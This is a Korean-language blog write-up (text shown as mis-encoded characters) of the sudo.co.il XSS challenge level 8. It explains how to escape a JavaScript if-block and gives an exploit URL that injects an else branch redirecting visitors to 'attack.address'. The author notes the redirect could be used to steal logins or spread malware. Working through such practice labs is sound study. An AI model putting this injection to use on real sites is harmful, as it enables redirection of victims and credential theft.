ํ‹ฐ์Šคํ† ๋ฆฌ ๋ทฐ

CHALLENGE

XSS Challenges 8

๐ŸŒง: 2020. 12. 11.

์ „๋‹จ ๊ณ„์™€๋Š” ๋‹ค๋ฅธ ๊ฒŒ ๋งํฌ ํƒœ๊ทธ ๊ธฐ๋Šฅ์ด ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์ง€ ์•Š์€ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹คํŽ˜์ด์ง€ ์†Œ์Šค๋ฅผ ๋ณด๋ฉด์„œ ํ•œ๋ฒˆ ํ™•์ธํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

 

์ „ ๋‹จ๊ณ„์—์„œ ์‚ฌ์šฉํ•œ ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•ด๋ณธ๊ฒฐ๊ณผ ๊ธฐ๋ณธ์ ์ธ ์‚ฝ์ž… ํ˜•ํƒœ๊ฐ€ ์•„๋‹Œ ๋…ผ๋ฆฌ ์—ฐ์‚ฐ์ž๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

 

๊ณ ์ • ์†Œ์Šค๋กœ <script> ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•ดb" ๋ผ๋Š” ์ž„์˜ ๋ณ€์ˆ˜์— ์ˆซ์ž 1์„ ์„ ์–ธํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋‹ค์Œ ์กฐ๊ฑด๋ฌธ์ด ๋‚˜์˜ค๋Š”๋ฐ if( b==2 ) b๋ผ๋Š” ๋ณ€์ˆ˜๊ฐ€ ์ˆซ์ž 2์™€ ==(๊ฐ™๋‹ค๋ฉด) --> { a= "" }๋กœ ๋„˜์–ด๊ฐ€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

 

์กฐ๊ฑด์‹์ด ๋ถ™์€ ๋ฌธ์ œ๋Š” ์ฒ˜์Œ์ด๋ผ ์กฐ๊ธˆ ๋‚œ์ฒ˜ํ–ˆ์Šต๋‹ˆ๋‹ค. b๋ผ๋Š” ๋ณ€์ˆ˜์—๋Š” ์ˆซ์ž 1๋กœ ๊ณ ์ • ํ• ๋‹น์ด ๋˜์–ด์žˆ๋Š”๋ฐ b == 2 ์™€ ๋™์ผํ•ด์•ผ์ง€ a = ๋ณ€์ˆ˜๊ฐ€ ์ฐธ์ด ๋˜์–ด ๋ฌธ์žฅ์ด ์™„์„ฑ๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

 

์ƒ๋‹จ์„ ๋ณด์‹œ๋ฉด alert / prompt / confirm ๊ฐ™์€ ์‚ฌ์šฉ์ž์™€ ์ƒํ˜ธ์ž‘์šฉ ํ• ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜๋“ค์ด ์žฌ๊ธฐ๋Šฅ์„ ํ•˜์ง€ ๋ชปํ•˜๋„๋ก ์ฒซ ๋ฌธ์ž์—ด์„ --> ๋Œ€๋ฌธ์ž๋กœ ๋ณ€๊ฒฝ์‹œ์ผœ ์˜๋ฏธ ์—†๋Š” ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.(javascript๋Š” ๋Œ€. ์†Œ๋ฌธ์ž ๊ตฌ๋ถ„)

 

์šฐ์„  alert ๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ Encoding ๊ธฐ๋ฒ•๊ณผ confused(ํ˜ผ๋ˆํ™”๊ทธ๋ฆฌ๊ณ  "eval"๋ฅผ ํ†ตํ•œ ๋ฌธ์ž์—ด์„ ๋ถˆ๋ฆฌํ•ด๋ด๋„ ๊ธฐ๋Šฅ์„ ํ•˜์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค.

 

์ถœ์ œ์ž์˜ ์˜๋„์™€๋Š” ๋งž๋Š”๊ฒƒ ๊ฐ™์ง€ ์•Š์•„ ์กฐ๊ธˆ ๋„“๊ฒŒ ์ƒ๊ฐํ•ด๋ดค์Šต๋‹ˆ๋‹ค. ํ˜„์žฌ ๊ณ ์ • ์ฝ”๋“œ๋Š” ์กฐ๊ฑด๋ฌธ์ด ๋ถ™์–ด์žˆ๊ณ  ์šฐ๋ฆฌ์˜ ์ฝ”๋“œ๋Š”  b๊ฐ€ "2" ์ฆ‰ ์ฐธ์ผ ๊ฒฝ์šฐ์— ์‚ฌ์šฉ๋˜๋Š” ์˜์—ญ์— ๋“ค์–ด๊ฐ€๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— "a" ๋ณ€์ˆ˜์—์„œ ์šฐ์„ ์ ์œผ๋กœ ๋ฒ—์–ด๋‚˜์•ผ ๋ฉ๋‹ˆ๋‹ค.

 

..
..

<script>
 b = 1
 if ( b == 2 ){ a = "Your_Payload"};
 </script>

..
..
<Input Code>
www.sudo.co.il/xss/level8.php?p=" }else{ "

<Output Code>
<script> b = 1 if ( b == 2 ){ a = "" }else{ "" }; </script>

a์˜ ๋ณ€์ˆ˜์— "(๋”๋ธ” ์ฟผํ„ฐ)๋ฅผ ํ•˜๋‚˜๋งŒ ๋„ฃ์–ด a = "" ๋ณ€์ˆ˜๋ฅผ ๋งˆ๋ฌด๋ฆฌํ•ด์ฃผ๊ณ  " } "๋ฅผ ํ†ตํ•ด ๋‹ซ์•„์ฃผ๋ฉด ์ฐธ์ผ ๊ฒฝ์šฐ์˜ ์ฝ”๋“œ ์˜์—ญ์€ ๋์ด ๋‚˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
if
์กฐ๊ฑด๋ฌธ์˜ ๊ฒฝ์šฐ else(๊ฑฐ์ง“๋˜๋Š” FALSE ๋„ ํ•จ๊ป˜ ์ถ”๊ฐ€ํ•ด์ฃผ๋ฉด b ≠ 2 ์ฆ‰ b ๊ฐ€ 2์™€ ๊ฐ™์ง€ ์•Š์„ ๋•Œ์˜ ๋ฌธ์žฅ์„ ์ฝ์–ด ๋“ค์ด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.(b = 1 ์ด ๊ณ ์ •)

 

์ด์ œ ๊ธฐ๋ฐ˜์€ ๋‹ค์ ธ ๋†จ์œผ๋‹ˆ ํŒ์—…์ฐฝ์„ ์‹คํ–‰ํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

 

ํ•˜์ง€๋งŒ ์œ„์—์„œ ์„ค๋ช…๋“œ๋ ธ๋‹ค์‹œํ”ผ ์‚ฌ์šฉ์ž์™€ ์ƒํ˜ธ์ž‘์šฉ์„ ํ• ๋งŒํ•œ ํŒ์—…์ฐฝ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์—†์—ˆ๊ธฐ์— ์กฐ๊ธˆ ๋‹ค๋ฅธ ๋ฐฉ์‹์œผ๋กœ ์ ‘๊ทผํ•ด ๋ณด์•˜์Šต๋‹ˆ๋‹ค.

 

document.location.href

href๋Š” location ๊ฐ์ฒด์— ์†ํ•ด์žˆ๋Š” ํ”„๋กœํผํ‹ฐ๋กœ ํ˜„์žฌ ์ ‘์† ์ค‘์ธ ํŽ˜์ด์ง€ ์ •๋ณด๋ฅผ ๊ฐ–๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๊ฐ’์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ํ”„๋กœํผํ‹ฐ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•˜๋Š”๋ฐ๋„ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

 

location.href="์ด๋™ํ•  ํŽ˜์ด์ง€ ์ฃผ์†Œ";

 

b์˜ ๊ฐ’์ด 2๊ฐ€ ์•„๋‹Œ ๊ฒƒ์„ ํ™œ์šฉํ•˜์—ฌ else ๋ฌธ์„ ํ†ตํ•ด document.location์„ ์ง€์ •ํ•ด์ฃผ๋ฉด ํ•ด๋‹น ๋งํฌ๋ฅผ ์ ‘์†ํ•œ ์‚ฌ์šฉ์ž๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ง€์ •ํ•ด๋‘” ๊ฒฝ๋กœ๋กœ ์ž๋™ ์ด๋™ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

์ฆ‰ ์ด๋™ํ•  ๊ฒฝ๋กœ๋ฅผ ๊ณต๊ฒฉ์ž์˜ ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž…๋œ ๊ฒฝ๋กœ๋กœ ์ด๋™์‹œํ‚ด์œผ๋กœ์จ ์—ฌ๋Ÿฌ ํ•„ํ„ฐ๋ง ๊ฒ€์ฆ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ด๋Ÿฌํ•œ ๋ฐฉ์‹์„ ํ†ตํ•ด document.location์œผ๋กœ ์ด๋™๋œ ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ๋ฐ”์ด๋Ÿฌ์Šค๊ฐ€ ์กด์žฌํ•˜๋Š” ํŽ˜์ด์ง€๋กœ ์ด๋™์‹œํ‚ค๊ฒŒ ํ•˜๋Š” ๋“ฑ ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์„ ๋™์›ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

Exploit Code

www.sudo.co.il/xss/level8.php?p=" }else{document.location.href="attack.address"}//

'CHALLENGE' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

XSS Challenges 8-1  (0) 2020.12.12
[LOS] Dragon ํ’€์ด(20)  (0) 2020.12.11
[LOS] Xavis ํ’€์ด(19)  (0) 2020.12.10
[LOS] Nightmare ํ’€์ด(18)  (0) 2020.12.10
XSS Challenges 7  (0) 2020.12.10
๊ณต์œ ํ•˜๊ธฐ ๋งํฌ
Comment